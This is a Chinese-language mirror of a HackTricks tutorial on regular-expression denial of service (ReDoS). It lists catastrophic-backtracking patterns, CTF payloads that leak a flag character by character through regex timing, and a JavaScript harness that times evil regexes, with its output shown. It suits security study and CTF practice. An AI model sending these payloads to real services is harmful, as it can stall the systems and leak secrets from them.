mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
5.5 KiB
5.5 KiB
正则表达式拒绝服务攻击 - ReDoS
从零开始学习AWS黑客攻击直至成为专家 htARTE (HackTricks AWS 红队专家)!
支持HackTricks的其他方式:
- 如果您想在 HackTricks中看到您的公司广告 或 下载HackTricks的PDF版本,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
正则表达式拒绝服务攻击 (ReDoS)
正则表达式拒绝服务攻击(ReDoS)是一种利用正则表达式实现中的低效率来进行的拒绝服务攻击。大多数正则表达式引擎可能会遇到极端情况,它们的执行速度非常慢,通常与输入大小成指数关系。通过利用这一点,攻击者可以导致使用正则表达式的程序长时间挂起。
问题正则表达式天真算法
查看详情 https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
恶意正则表达式
恶意正则表达式模式指的是那些可以在特制输入上卡住的模式。恶意正则表达式模式通常包含带有重复的分组,以及重复或交替的分组内部有重叠。一些恶意模式的例子包括:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} 对于 x > 10
以上所有模式都容易受到输入 aaaaaaaaaaaaaaaaaaaaaaaa!
的影响(最小输入长度可能会稍有变化,取决于机器的快慢)。
ReDoS 载荷
通过ReDoS进行字符串泄露
在CTF(或漏洞赏金)中,您可能控制着敏感信息(标志)与之匹配的正则表达式。然后,如果能够使页面冻结(超时或更长的处理时间),如果正则表达式匹配则不冻结。这样您就可以逐个字符地泄露字符串:
- 在这篇文章中,您可以找到这条ReDoS规则:
^(?=<flag>)((.*)*)*salt$
- 示例:
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- 在这篇writeup中,您可以找到这条规则:
<flag>(((((((.*)*)*)*)*)*)*)!
- 在这篇writeup中,他使用了:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
控制输入和正则表达式的ReDoS
以下是您控制输入和正则表达式的ReDoS示例:
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
工具
参考资料
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击技巧!
支持HackTricks的其他方式:
- 如果您希望在HackTricks中看到您的公司广告或下载HackTricks的PDF版本,请查看订阅计划!
- 获取官方的PEASS & HackTricks商品
- 探索PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。